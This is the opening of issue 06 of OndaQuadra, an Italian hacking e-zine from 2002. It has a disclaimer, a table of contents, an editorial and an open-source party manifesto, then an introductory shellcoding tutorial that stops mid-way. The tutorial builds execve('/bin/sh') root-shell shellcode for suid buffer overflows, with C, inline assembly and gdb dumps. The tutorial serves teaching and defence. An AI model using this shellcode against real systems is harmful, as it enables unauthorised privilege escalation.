::::::::::::::,. ..,:::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::, ,::::::::,,,,,:::::::::::::,. .,::::,. ,::: :::::::, h@@@@@@@@@r .::::, ,::::::::. :@@@@; ,:. s@@@M,::: :::::, @@@@GX@@@@@@@@@, .::. #@@@@@@r ,:::::, S@@@ .@@@ :@@@2..,.::: ::::. @@@B ,@@@@@@@; ,:.@@@@@@@@@@@. ,:::: A@@. r@@. @@@ .:::: :::. i@@@H ,:::. @@@@@@@ .: ;, X@@@@@@@@ :::, 2@@, . @@@ @@@hH@@X ,::: ::, ;@@@@; ,:::::. :@@@@@@ .:,. A@@@@@@@@G ,:: @@G ., :@@s X@@@s @@@r.::: ::. @@@@@3 :::::: @@@@@2 ,::: @@@@@@@@@@ :: S@@. . @@@ @@X @@@..::: :: .@@@@@@r ,,,. @@@@, ::: @@@@@@@@@@@r , ;@@, @@@ :@@2 @@@: ,::: ::. @@@@@@@@, @@@; .::, ;@@@@@@@@@@@@; s@@@@@@ . ,@@@@@@s .:::: ::, .@@@@@@@@@@@@@@@ ,:, G@@@@@@@@@@@@@@@@i ,::. ,::::: :::. .@@@@@@@@@@@, .:::, 9@@@@@@@@@@@@@@@@@@@@@. ,:::::::::::::::::::::: ::::, S33i. .,::::: @@@@@@@@@@@@@@@@@@@@@@@@i ,::::::::::::::::::::: ::::::,. ,::: S@@@@@@@@@@@@@@@@@@@@@@@@@# ,::::::::::::::::::: ::::::, .G@@@@@@&, ,, A@@@@@@@@@@@@@@@@@@@@@@@@@@@2 .:::::::::::::::::: :::, @@@@@@@@@@@@@@ . B@@@@@@@@@@@@@@@@@@@@@@@@@@@@@. .::::::::::::::::: ::. S@@@ s@@@@@@@: @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@r .:::::::::::::::: :. .@@@G ,::, @@@@@@@ . @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@. ,::::::::::::::: : ,@@@@ ::::::. :@@@@@@ ,, s@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ .::::::::::::::: . @@@@@ ::::::: A@@@@# ,:, @@@@@@@@@@@@@@@@@@@@@@@@@@@@X.::::::::::::::: .@@@@@r ,::::: @@@@H ::::. @@@@@@@@@@@@@@@@@@@@@@@@@@2 .::::::::::::::: ..@@@@@@i 3@@@, ,::::, &@@@@@@@@@@@@@@@@@@@@@@@@@@, ,::::::::::::::: , @@@@@@@@@r. :#@@@. .::::::, :@@@@@@@@@@@@@@@@@@@@@@@@@@@ ,::::::::::::::: : s@@@@@@@@@@@@X .::::::,,, @@@@@@@@@@@@@@@@@@@@@@@@@@@ ,::::::::::::::: :,. .@H .,,:::. s@@; X :@@@@@@@@@@@@@@@@@@3 ,::::::::::::::: :::. r@@@@@@@X: @@@@@@@@@@ s :@B#@@@@@@@@@@@@@@@r .::::::::::::::: ::::@@@@@@@@@@@@@@@@@@A; : r3@@@r3S@@@@@@@@@@@@@@ .:::::::::::::: :::. .2@@@@@@@@@@@@@@@@X. ;5.@@@@@@@@@@@@@@@; ,::::::,..,::: ::::,,.. i@@@@@@@@@@@@@@@@Mr :@@@@@@@@@@@@@@@;,::,. .r.::: :::::::::::::,. h@@@@@@@@@@@@@@@@@Mr @@@@@@@@S .9@@@H,::: :::::::::::::::::,, ;B@@@@@@@@@@@@@@@@@3; i@@@@@@r ,::: :::::::::::::::::::::::,. ;H@@@@@@@@@@@@@@@@@@@@@@@@@@@@@i .,::::: ::::::::::::::::::::::::::::,,. .:sh#@@@@@##Ah3i:. ,:::::::::: :::::::::::::::::::::::::::::::::::,. .,,::::::::::::::: ::::::::::::::::::::::::::::::::::::::,,................,,:::::::::::::::::: +--------------------------------------------------------------------------+ | ONDAQUADRA #06 - 25/04/2002 | +--------------------------------------------------------------------------+ | Tutto nel ciberspazio | | E' scandito dalla squarewave | | Dei micro-processori | | Il clock dei micro | | E' come | | Un battito cardiaco | | Elettronico... | +--------------------------------------------------------------------------+ | http://ondaquadra.cjb.net | | mail@ondaquadra.cjb.net ~ articoli@ondaquadra.cjb.net | +--------------------------------------------------------------------------+ <-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--> +--------------------------------------------------------------------------+ | LEGAL DISCLAIMER | +--------------------------------------------------------------------------+ | | | Nessuna persona dello staff di OndaQuadra si assume responsibilita' | | per l'uso improprio dell'utilizzo dei testi e dei programmi presenti | | nella e-zine, ne' per danni a terzi derivanti da esso. | | OndaQuadra non contravviene in alcun modo alle aggiunte/modificazioni | | effettuate con la legge 23 dicembre 1993, n.547 ed in particolare | | agli artt. 615-quater- e 615-quinques-. | | Lo scopo di OndaQuadra e' solo quello di spiegare quali sono e come | | avvengono le tecniche di intrusione al fine di far comprendere come | | sia possibile difendersi da esse, rendere piu' sicura la propria box e | | in generale approfondire le proprie conoscenze in campo informatico. | | I programmi allegati sono semplici esempi di programmazione che hanno | | il solo scopo di permettere una migliore comprensione di quanto | | discusso e spiegato nei testi. | | Non e' soggetta peraltro agli obblighi imposti dalla legge 7 marzo 2001, | | n. 62 in quanto non diffusa al pubblico con "periodicita' regolare" ex | | art. 1 e pertanto non inclusa nella previsione dell'art.5 della legge | | 8 febbraio 1948, n.47. | | | +--------------------------------------------------------------------------+ <--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--> +--------------------------------------------------------------------------+ | COSTITUZIONE DELLA REPUBBLICA ITALIANA | +--------------------------------------------------------------------------+ | Diritti e doveri dei cittadini: Rapporti civili | | | | Articolo 21 | | Tutti hanno diritto di manifestare liberamente il proprio pensiero | | con la parola, lo scritto e ogni altro mezzo di diffusione. [...] | +--------------------------------------------------------------------------+ <--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--> +--------------------------------------------------------------------------+ | INDICE | +--------------------------------------------------------------------------+ | [L0GiN] | | 0x01 iNTR0 AL NUMER0 06 ................................... [oq ~ staff] | | 0x02 ViSi0NARi ............................................ [oq ~ staff] | | 0x03 iPSE DiXiT ........................................... [oq ~ staff] | | 0x04 F3C0D&FUN ............................................. [Cornelius] | +--------------------------------------------------------------------------+ | [HACKiNG] | | 0x05 GH0ST iN THE SHELL: iNTR0DUZi0NE ALL0 SHELLC0DiNG ......... [trtms] | | 0x06 DNS SP00F ATTACK ........................................... [E4zy] | +--------------------------------------------------------------------------+ | [NETW0RKiNG] | | 0x07 FiREWALKiNG ................................................ [E4zy] | | 0x08 NMAP .................................................. [ADvAnCeD'] | +--------------------------------------------------------------------------+ | [LiNUX] | | 0x09 iN SHELL WE TRUST - PARTE 2 .............................. [lesion] | | 0x0A TCP/iP & SOCKET iN LiNUX ................................ [SNHYPER] | | 0x0B LA LUNGA ST0RiA DELL'EXPL0iT DEL DEM0NE RPC.STATD ......... [xyzzy] | +--------------------------------------------------------------------------+ | [C0DiNG] | | 0x0C C0RS0 Di C [PARTE QUARTA] .......................... [AndreaGeddon] | | 0x0D 0S FR0M ZER0 CHAPTER 3 ...................... [Alexander The Great] | +--------------------------------------------------------------------------+ | [MiSC] | | 0x0E CAPiRE E PREVENiRE GLi ATTACCHi: SQL iNJECTi0N .......... [SHNYPER] | | 0x0F 0PERAT0Ri L0GiCi E NUMERAZi0NE ESADECiMALE ................ [CiLi0] | | 0x10 FiLESERVER BUG ................................. [^_][ice][man][_^] | | 0x11 PR0GRAMMARE LE RAW S0CKET (TRADUZi0NE) ............. [XpTerminator] | | 0x12 USELESS NETBSD M0DULE ................................... [_beb0s_] | | 0x13 iL BUG DEL UPNP ............................................. [e4m] | | 0x14 WiN2000 B00TSECT0R REVERSiNG (VERSi0NE FAT 32) ............. [albe] | +--------------------------------------------------------------------------+ | [LO SCiAMANO] | | 0x15 G0VNET - LA RETE DEL G0VERN0 ............................. [inquis] | | 0x16 FREAKNET MEDiALAB: DESTiNAT0 ALLA CHiUSURA? ........ [Alcatraz2100] | | 0x17 LA N0RMATiVA iTALiANA RiGUARD0 i CRiMiNi .......................... | | iNF0RMATiCi..................................... [MigthyInquisitor] | +--------------------------------------------------------------------------+ | [L'APPRENDiSTA STREG0NE] | | 0x18 GUiDA SUL MiRC SCRiPTiNG [PARTE QUARTA] ......... [[]_CyBeRPuNK_[]] | | 0x19 C0DiCE iNVERS0: CRiTT0GRAFiA DiGiTALE AVANZATA PARTE 3 ..... [zer0] | | 0x1A ASSEMBLY? N0 GRAZiE N0N FUM0 [V0LUME I] .................... [e4m] | | 0x1B iNSTALLAZi0NE Di APACHE, PHP, MYSQL PER WiN32 ........ [DiRtYdoZeN] | +--------------------------------------------------------------------------+ | [SHUTD0WN] | | 0x1C "L'ETiCA HACKER" Di PEKKA HiMANEN ......................... [bubbo] | +--------------------------------------------------------------------------+ | [C0NTATTi] | | 0x1D D0VE TR0VARCi ........................................ [oq ~ staff] | +--------------------------------------------------------------------------+ | [ALLEGATi] | | 0x01 LC.ZIP ...................................... [Alexander The Great] | | 0x02 S0CKET.ZIP .............................................. [SHNYPER] | | 0x03 G0VNET_0RiGiNAL.TXT ...................................... [inquis] | | 0x04 REGiSTRAT0RE.ZIP ............................... [^_][ice][man][_^] | | 0x05 SECURiTY iNF0 ............................................... [e4m] | +--------------------------------------------------------------------------+ <--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--> +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [L0GiN] #06 - 25/04/2002 | | iNTR0 AL NUMER0 06 [oq ~ staff] 0x01/0x1D | +--------------------------------------------------------------------------+ | Pronti, partenza, via! | | Eccoci qui, un altra puntata entusiasmante di quello che e' il nostro | | progetto, OndaQuadra. | | Prima di cominciare con il solito intro noioso volevo porgere le mie | | (nostre) scuse a tutti i lettori per due motivi. | | Il primo, e di questo la colpa e' in gran parte mia, e' il grande | | lasso di tempo che ha diviso questo numero 06 dallo scorso. | | Putroppo per impegni vari, sia io che gli altri autori non siamo | | riusciti a fare prima, sorry! | | (A dire la verita' si sarebbe potuto far prima, se si doveva stare ad | | aspettare soltanto gli autori, ma qui scatta la mia parte di colpa, | | che pero' e' scusata dal fatto che ho lavorato come uno schiavo per un | | bel periodo). | | Il secondo motivo e' il tanto annunciato portale di OndaQuadra, che | | sempre per motivi "tecnici" (impegni nella real-life), non e' ancora | | giunto al termine. | | Chiusa la parentesi riguardante le scuse voglio cominciare con | | illustrare un po' questo nuovo numero. | | Non cito tutti gli articoli presenti perche' non ne vale la pena, | | visto che appena sopra di questo editoriale c'e' un indice che e' | | fatto apposta per questo, ma mi limitero' a citare quegli articoli che | | sembra abbiano riscontrato piu' successo tra i lettori. | | Siamo giunti alla terza puntata dell'articolo di Alexander the Great | | su come costruire un sistema operativo (0S FR0M CHAPTER 3) e per | | rendere felici tutti gli interessati abbiamo allegato i sorgenti del | | kernel sviluppato da Alex. | | Una nota di riguardo va per il mio corso di C, che purtroppo (sempre | | per i motivi di cui sopra) da questo numero non curero' piu' io, ma | | sara' curato da Andrea Geddon, sempre semplice, sempre intuitivo, e | | probabilmente anche piu' dettagliato dei corsi passati. | | Con questo numero congediamo anche gli articoli di CyBeRPuNK | | riguardanti il MiRC scripting, che ci hanno tenuto compagnia per ben 4 | | numeri. | | Sinceramente non saprei quali altri articoli scegliere da | | "pubblicizzare" in quest'intro, anceh perche' se mi mettessi ad | | elencare tutti gli articoli che sono presenti questo editoriale | | diventerebbe lungo quasi quanto la rivista. | | Un ultima nota di rilievo (solo come cronologia, non come importanza) | | la voglio dare alla manifestazione che si terra' il 15 e 16 Giugno a | | Piedimonte Matese (CE), una manifestazione molto interessante | | sull'open source e il retro computing (per maggioni informazioni | | vedere l'articolo 0x03). | | Ah, quasi dimenticavo, un'altra cosa, prometto che e' l'ultima poi me | | ne vado a nanna e chiudo quest'editoriale. | | ;P | | Ne "L0 SCiAMAN0" c'e' un'articolo scritto da uno degli organizzatori | | dell'hackmeeting 01 che si e' svolto al FreakNet di Catania, un | | appello per... beh, leggetelo da soli :)) | | Passo e chiudo | | Vi auguro una buona lettura, sperando che tutto il resto del numero | | risulti un pochino piu' in italiano di questo editoriale che (mi | | dispiace ma me ne sono accorto ora che ho finito di scriverlo e non ho | | voglia di ricominciare da capo) fa davvero schifo. | | Alla prossima gente. | | See ya | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [L0GiN] #06 - 25/04/2002 | | ViSi0NARi 0x02/0x1D | +--------------------------------------------------------------------------+ | | |"Ogni Uomo e' una Stella: fai cio' che Vuoi" | |(Aleister Crowley) | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [L0GiN] #06 - 25/04/2002 | | iPSE DiXiT 0x03/0x1D | +--------------------------------------------------------------------------+ | | | "La risata e` la perdita momentanea del controllo delle proprie | | emozioni" | | inquis | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [L0GiN] #06 - 25/04/2002 | | F3C0D&FUN [Cornelius] 0x04/0x1D | +--------------------------------------------------------------------------+ | *********************************************************** | | Manifesto - F3COD&FUN - Prima edizione 2002 - | | Open Source Hacking Party and Retro Computing Fun | | [ http://www.f3codandfun.org ] | | *********************************************************** | | | | Quando nel lontanissimo 1981 acquistai con i miei risparmi un | | computer Commodore VIC 20 usato, fu per me un momento magico, in- | | dimenticabile. Avevo +/- 15 anni ma ricordo ancora benissimo le | | sensazioni interiori ed intellettuali che suscito' in me quel | | primo computer. E' difficile descrivere le sensazioni che provai | | in quei momenti in cui corsi subito a casa per accenderlo, era | | qualcosa di metafisico. Non conoscevo nulla di computer, di | | byte, di CPU, di software. Avevo solo un'incontenibile forza in- | | teriore di imparare tutto e presto. Divorai il manuale utente | | come fosse una questione di vita o di morte iniziando subito | | a scrivere i primi programmi in BASIC e qualche anno dopo in as- | | sembler. | | | | Tutto ebbe inizio con quel piccolo, grande computer... Il VIC20! | | Dopo ne vennero molti altri, sempre + potenti e costosi... Sem- | | brava che una specie di aureola spirituale/tecnologica fosse | | scesa su di me nel 1981, e da allora non mi ha + abbandonato. | | | | L'informatica e l'elettronica divennero x me il pane quotidiano e | | quell'aureola misteriosa che sentivo sempre presente dentro di me | | mi spingeva misteriosamente ad imparare sempre +, sempre +...... | | Iniziai a pensare seriamente che io fossi afflitto da qualche | | forma strana di anomalia comportamentale, o cose di questo | | tipo... | | | | ma col passare del tempo scoprii con gioia e stupore che io non | | ero il solo a possedere quella cosiddetta "Anomalia tecnologi- | | ca", ma anche altri ragazzi come me la possedevano. Allora | | iniziammo istintivamente a stringerci culturalmente insieme in | | una sorta di club dove poterci scambiare opinioni, idee, aiuti | | e programmi. | | | | Era semplicemente fantastica l'aria che si respirava in quei | | pomeriggi dove si parlava solo e semplicemente di computer e di | | software... | | | | Accadde poi un fatto che segno' per sempre la nostra visione | | delle cose e dell'informatica... si apri' davanti a noi la strada | | di un mondo unico, affascinante, virtuale, incantato ed ines- | | plorato... Il mondo della telematica delle prime BBS che a meta' | | degli anni 80 spuntarono come funghi digitali. Fu il mitico film | | "War Games" che uscendo nel 1983, fece letteralmente esplodere il | | gia' rovente ambiente... e tutti ci facemmo regalare per natale | | un modem... Il resto e' storia... | | | | Ognuno di noi divenne poi un vero esperto: chi all'Universi- | | ta', chi presso aziende di Telecomunicazioni, chi presso | | Software House, chi giornalista tecnico, ecc. Di tanto in tanto | | ci capita di ritornare con la mente a quei romantici e magi- | | ci momenti di informatica pioneristica e spensierata che hanno | | svezzato i nostri cuori tecnologici... | | | | Col passare del tempo pero' ognuno di noi quasi dimentico' | | quegl'anni mitici, relegandoli e chiudendoli nel cuore... In- | | iziammo pero' tutti noi, indifferentemente e autonomamente a | | scontrarci giornalmente con la contorta realta' delle aziende in | | cui ci trovavamo a lavorare... Ci scontravamo (e tuttora ci | | scontriamo) con i monopoli, le forme di controllo, i software | | progettati male, la burocrazia tecnica che affossa le idee e | | l'ingegno in favore di soluzioni costose ed inefficienti di | | aziende che dettate da fredde regole di marketing puntano es- | | clusivamente al profitto ed all'inganno... | | | | Tutta quella magia e quell'energia positiva (un'energia che | | ci spingeva negli anni 80 fraternamente a studiare e smontare | | per cercare di capire come funzionano le cose) che noi credevamo | | quasi perduta, ci rendemmo conto un giorno che non si era x nulla | | dispersa... | | | | Anzi al contrario scoprimmo che altri individui della nostra | | stessa specie generazionale come Richard Stallman, Eric Ray- | | mond, Linus Torvalds e tanti altri con coraggio, sacrificio e | | forza lottarono per fare in modo che concetti poetici come lo | | studio, la codivisione delle idee e la liberta' fossero i buoi | | trainanti di quel carro che poi diventera' in seguito la grande | | scuola di pensiero del "Free Software" e della filosofia | | "Open Source"... | | | | Oggi siamo certi che quella magia misteriosa che respiravamo | | negli anni 80 risiede completamente e pienamente nella filosofia | | software dello sviluppo Open Source e del Free Software :-)) | | | | Ecco allora che la manifestazione F3COD&FUN (si legge free cod | | and fun e che significa scrivi e/o condividi codice libero e di- | | vertiti nel farlo), il cui nome sintetizza appunto questa forma | | di energia intellettuale, servira' per creare due giorni di in- | | tensa festa (appunto party), di incontro, di scambio spensierato | | di idee ed opinioni, di programmi, di ribellione, di amicizia, | | di utopia, e di tutto quanto possa servire ad arricchire tecnica- | | mente e culturalmente chiunque lo desideri... | | | | Ritorneremo a respirare quell'area mistica, incantata dei club | | di hackers degli anni 80 dove tutto dal bullone al chip, dal | | floppy al software di sistema, fino alle riviste culto come "pa- | | per soft" contribuiva ad arricchire il nostro know-how e la nos- | | tra sete di conoscenza. | | | | Al F3COD&FUN non ci saranno copioni convenzionali, linee guida da | | seguire, rigide regole comportamentali, saremo tutti liberi di | | navigare, programmare, assemblare, installare, smontare, giocare, | | bere birra, mostrare ai neofiti la bellezza ed affidabilita' di | | un sistema aperto e non controllato da ingorde multinazionali, o | | semplicemente mangiare un panino con la salsiccia davanti ad | | un'intramontabile PacMac su Apple II, potremo condividere pezzi | | di software e pezzi di hardware, barattare schede elettroniche o | | schemi elettrici... | | | | Si ammireranno e si ritoccheranno le mitiche macchine che | | hanno segnato x sempre l'informatica mondiale e che hanno cullato | | i nostri cuori tecnologici... Sara' un tuffarsi nel futuro con la | | filosofia Open Source ma sara' anche un tuffo nel romantico pas- | | sato con il retro computing per ricordare a tutti che non e' af- | | fatto necessario possedere un computer super pompato per di- | | ventare esperti, ma basterebbe anche un modesto computer a 8 | | bit... Ed a tal proposito vedremo demos grafici su C64 scritti | | in puro assembler che in soli 30 Kb di RAM e con un clock macchi- | | na di 1 Mhz fare cose incredibili. | | | | Rivivremo al F3COD&FUN tutti insieme le nostre radici tecno- | | logiche. | | | | Se ritieni giusto, romantico, importante, utile o chissa' che | | cosa questo manifesto allora sei il benvenuto... Porta il tuo | | sistema Open Source alla manifestazione, o il tuo sistema obsole- | | to che tutti dicono sorpassato e vivrai con noi un'esperienza | | unica ed indimenticabile. | | | | E che l'hacking sia con voi :-) | | | | Cornelius (organizzatore della prima edizione del F3COD&FUN) | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [HACKiNG] #06 - 25/04/2002 | | GH0ST iN THE SHELL: iNTR0DUZi0NE ALL0 SHELLC0DiNG [trtms] 0x05/0x1D | +--------------------------------------------------------------------------+ | | | ================================================= | | | | 1. Introduzione | | 1.1 Requisiti | | | | 2. Buffer overflow | | | | 3. Ghost in the shell | | 3.1 Strumenti & fini | | 3.2 Rootshell | | | | 4. Shellcoding | | 4.1 (X)ora et (e)labora | | 4.2 La Via della Mano Destra | | | | 5. Conclusione | | | | 6. Fonti | | | | | | 1. Introduzione | | ------------------------------------------------------------------------ | | Il fine di questo articolo e' quello di aiutare a comprendere i | | meccanismi che si nascondono dietro gli shellcode e stimolare il | | lettore ad approfondire il tema, aiutandolo a raggiungere l'abilita' | | di scrivere shellcode autonomamente. | | | | Credo che questa sia la prima guida in italiano esclusivamente | | dedicata allo shellcoding. Spero sia utile a chi sia avvicina al mondo | | della sicurezza; a chi ha un sistema da "difendere" e vuole | | comprendere meglio le tecniche di attacco dei cracker; a chi vuole | | abbandorare il lameraggio e avviarsi verso il rutilante mondo degli | | 0days, | | lameraggio d'elite... :D | | | | | | 1.1 Requisiti | | -------------- | | | | | | | | 2. Buffer overflow | | ------------------------------------------------------------------------ | | Non mi soffermo sul buffer overflow. Esistono testi in italiano che | | hanno parlato del buffer overflow (vedere i vecchi numeri di BFi); chi | | conosce l'inglese puo' trovare nella bibliografia i riferimenti | | necessari. | | | | Qui voglio solo ricordare che lo shellcode viene generalmente inserito | | nello stack tramite funzioni di copia delle stringhe (es. strcpy); | | questa funzione prevede che la fine della stringa sia identificata dal | | carattere 0, quindi lo shellcode non puo' contenrere questo carattere. | | | | In questa sede naturalmente si parla dei casi basilari, necessari per | | spiegare i concetti. Non si parla di heap, overflow da un byte, di | | shellcode polimorfiche e nemmeno di | | | | contromisure contro gli IDS: credo sia gia' abbastanza complicato | | cosi' per chi deve capire il meccanismo. | | | | Ricordo solo che se vogliamo ottenere una root shell, dobbiamo | | attaccare un programma che giri con i privilegi di root e sia | | accessibile anche da un utente normale (suid). | | | | | | 3. Ghost in the shell | | ------------------------------------------------------------------------ | | | | 3.1 Strumenti & fini | | -------------------- | | In questa sede si parlera' di shellcode x86 su piattaforma Linux; il | | lettore deve essere in grado di compilare programmi con gcc e deve | | conoscere (anche in modo superficiale) gdb. | | Realizzeremo uno shellcode classico: l'esecuzione di sh come root | | partendo dai privilegi di utente. | | | | | | 3.2 Rootshell | | --------------- | | T | | void main(){ | | char *sh[2]; | | sh[0]="/bin/sh"; | | sh[1]=0; | | execve(sh[0],sh,0); | | } | | | | TA noi basta sapere che necessita di tre parametri: | | 1. la stringa che contiene il comando da eseguire | | 2. puntatore a un array contenente i parametri da passare (per noi 0) | | 3. i parametri di ambiente (per noi nulli). | | | | Compiliamo il programmino con -static e poi lanciamo gdb: | | | | gcc shell.c -o shell -static | | gdb shell | | | | quindi andiamo a vedere cosa fa la funzione execve: | | | | (gdb) disas execve | | | | Dump of assembler code for function __execve: | | 0x804cfdc <__execve>: push %ebp | | 0x804cfdd <__execve+1>: mov $0x0,%eax | | 0x804cfe2 <__execve+6>: mov %esp,%ebp | | 0x804cfe4 <__execve+8>: sub $0x10,%esp | | 0x804cfe7 <__execve+11>: push %edi | | 0x804cfe8 <__execve+12>: push %ebx | | 0x804cfe9 <__execve+13>: mov 0x8(%ebp),%edi | | 0x804cfec <__execve+16>: test %eax,%eax | | 0x804cfee <__execve+18>: je 0x804cff5 <__execve+25> | | 0x804cff0 <__execve+20>: call 0x0 | | 0x804cff5 <__execve+25>: mov 0xc(%ebp),%ecx | | 0x804cff8 <__execve+28>: mov 0x10(%ebp),%edx | | 0x804cffb <__execve+31>: push %ebx | | 0x804cffc <__execve+32>: mov %edi,%ebx | | 0x804cffe <__execve+34>: mov $0xb,%eax | | 0x804d003 <__execve+39>: int $0x80 | | | | | | a noi interessano in particolar modo queste linee: | | | | 0x804cfe9 <__execve+13>: mov 0x8(%ebp),%edi | | | | dove il primo parametro della funzione (l'indirizzo della | | stringa "/bin/sh" viene posto in edi | | | | e | | | | 0x804cff5 <__execve+25>: mov 0xc(%ebp),%ecx | | 0x804cff8 <__execve+28>: mov 0x10(%ebp),%edx | | 0x804cffb <__execve+31>: push %ebx | | 0x804cffc <__execve+32>: mov %edi,%ebx | | 0x804cffe <__execve+34>: mov $0xb,%eax | | 0x804d003 <__execve+39>: int $0x80 | | | | dove il secondo parametro (l'indirizzo di sh) viene posto in ecx | | (mov 0xc(%ebp),%ecx), | | il terzo parametro (NULL) in edx (0x10(%ebp),%edx). | | Quindi viene chiamata la execve (codice $0xb): | | | | 0x804cffe <__execve+34>: mov $0xb,%eax | | 0x804d003 <__execve+39>: int $0x80 | | | | Questo e' quello che dovra' fare il nostro shellcode: passare i tre | | parametri e quindi chiamare execve. | | | | | | 3.3 L'indirizzo misterioso | | --------------------------- | | Problema. Noi dovremo inserire il nostro codice sullo stack, e non | | conosceremo a priori gli indirizzi dove il codice stesso si verra' a | | trovare. Visto che noi dobbiamo passare dei parametri alla funzione, | | dobbiamo conoscere almeno l'indirizzo dove poter trovare questi | | parametri. E allora ? Ci serve un espediente per trovare questo | | indirizzo. | | | | Semplice. Metteremo la stringa alla fine del codice, quindi | | utilizzeremo una jmp e una call. Per capire bene cosa stiamo per fare | | occorre rispolverare un po' di assembler. L'istruzione "jmp" (jump) | | che utilizzeremo fa "saltare" il codice all'indirizzo specificato. | | Anzi, in realta' in questo caso il parametro fornito sara' un offset, | | ovvero un valore che rappresenta la distanza in byte dall'indirizzo di | | destinazione. | | | | La "call" e' diversa; si tratta infatti di una chiamata ad una | | subroutine. Quando viene eseguita una call, l'indirizzo immediatamente | | successivo alla call stessa viene salvato sullo stack. Per esempio, se | | la call si trova a questo ipotetico indirizzo: | | | | 0x804cff0 call vaidaqualcheparte | | 0x804cff5 ... | | | | sullo stack troveremo l'indirizzo 0x804cff5. | | | | Ora tutto dovrebbe essere piu' chiaro. Mettendo all'inizio della | | nostra shellcode un jmp alla fine della codice, facendolo puntare alla | | call (che richiamera' l'inizio del codice), provocheremo il | | salvataggio dell'indirizzo successivo alla call; se noi dopo la call | | metteremo la nostra stringa, l'indirizzo stesso della stringa si | | trovera' sullo stack e potra' essere comodamente recuperato con una | | semplice istruzione "popl". | | | | ovvero: | | | | jmp finecodice ; salta a fine codice | | inizio: ; label di inizio codice | | popl esi ; preleva eip dallo stack | | ...\ | | ... shellcode ; corpo dello shellcode | | .../ | | finedocie: ; label di fine codice | | call inizio ; la call provoca il salvataggio di eip sullo stack, | | ovvero l'indirizzo | | ; della nostra stringa | | .stringa "/bin/sh" : la stringa da passare a execve | | | | il codice parte, salta a "finecodice:", esegue la call: l'indirizzo | | della stringa viene salvato sullo stack. La call porta il flusso del | | programma a "inizio:" dove l'istruzione popl recupera l'indirizzo | | della stringa. Abbiamo tutto quello che ci serve, possiamo proseguire. | | | | | | 4. Shellcoding | | ------------------------------------------------------------------------ | | Ora diamo uno sguardo a come si presentera' il nostro codice in | | assembler: | | | | shell1.c | | void main(){ | | __asm__("jmp fine: \n" | | "inizio: popl %esi \n" | | "movl %esi,0x8(%esi) \n" | | "movl $0x0,0xc(%esi) \n" | | "movb $0x0,0x7(%esi) \n" | | "movl %esi,%ebx \n" | | "leal %0x8(%esi),%ecx \n" | | "leal %0xc(%esi),%edx \n" | | "movl $0xb,%eax \n" | | "int $0x80 \n" | | "fine: call inizio: \n" | | " .string \"/bin/sh\" \n"); | | } | | | | | | Viene impostata la label "inizio:" che servira' alla call, quindi | | dopo la popl %esi, esi stesso conterra' l'indirizzo della stringa. | | | | __asm__("inizio: jmp fine: \n" | | "popl %esi \n" | | | | dobbiamo sistemare i parametri. Copiamo l'indirizzo della stringa | | nel secondo parametro | | | | "movl %esi,0x8(%esi) \n" | | | | mettiamo uno zero nel terzo | | | | "movl $0x0,0xc(%esi) \n" | | | | e mettiamo zero alla fine della nostra stringa, carattere di fine | | stringa | | | | "movb $0x0,0x7(%esi) \n" | | | | quindi passiamo gli indirizzi dei parametri nei registri dove execve | | si aspetta di trovarli... (ebx,ecx,edx) | | | | "movl %esi,%ebx \n" | | "leal %0x8(%esi),%ecx \n" | | "leal %0xc(%esi),%edx \n" | | | | si esegue la chiamata a execve | | | | "movl $0xb,%eax \n" | | "int $0x80 \n" | | "fine: call inizio: \n" | | " .string \"/bin/sh\" \n"); | | } | | | | e ci troviamo root :) | | | | | | 4.1 (X)ora et (e)labora | | ------------------- | | Benche' la cosa possa sembrare gia' abbastanza complicata, i problemi | | non sono ancora finiti :) Infatti, se compiliamo il codice appena | | presentato, troveremo degli zeri all'interno dello shellcode, e questo | | (vedi paragrafo[2]) non va bene. | | | | Lanciamo gdb shell1 | | | | Copyright 2000 Free Software Foundation, Inc. | | GDB is free software, covered by the GNU General Public License, and | | you are welcome to change it and/or distribute copies of it under | | certain conditions. | | Type "show copying" to see the conditions. There is absolutely no | | warranty for GDB. Type "show warranty" for details. This GDB was | | configured as "i386-slackware-linux"... | | (gdb) x/bx main+3 (saltiamo il preambolo che non ci serve) | | 0x80483b7 : 0xe9 | | (gdb) | | 0x80483b8 : 0x62 | | (gdb) | | 0x80483b9 : 0x7c | | (gdb) | | 0x80483ba : 0xfb | | (gdb) | | 0x80483bb : 0xf7 | | (gdb) | | 0x80483bc : 0x5e | | (gdb) | | 0x80483bd : 0x89 | | (gdb) | | 0x80483be : 0x76 | | (gdb) | | 0x80483bf : 0x08 | | (gdb) | | 0x80483c0 : 0xc7 | | (gdb) | | 0x80483c1 : 0x46 | | (gdb) | | 0x80483c2 : 0x0c | | (gdb) | | 0x80483c3 : 0x00 <--- queste 4 linne non vanno bene | | (gdb) | | 0x80483c4 : 0x00 | | (gdb) | | 0x80483c5 : 0x00 | | (gdb) | | 0x80483c6 : 0x00 | | (gdb) | | 0x80483c7 : 0xc6 | | (gdb) | | 0x80483c8 : 0x46 | | (gdb) | | 0x80483c9 : 0x07 | | (gdb) | | 0x80483ca : 0x00 <--- altra linea incriminata | | (gdb) | | 0x80483cb : 0x89 | | (gdb) | | 0x80483cb : 0x89 | | (gdb) | | 0x80483cc : 0xf3 | | (gdb) | | 0x80483cd : 0x8d | | (gdb) | | 0x80483ce : 0x4e | | (gdb) | | 0x80483cf : 0x08 | | (gdb) | | 0x80483d0 : 0x80 | | (gdb) | | 0x80483d1 : 0x56 | | (gdb) | | 0x80483d2 : 0x0c | | (gdb) | | 0x80483d3 : 0xb8 | | (gdb) | | 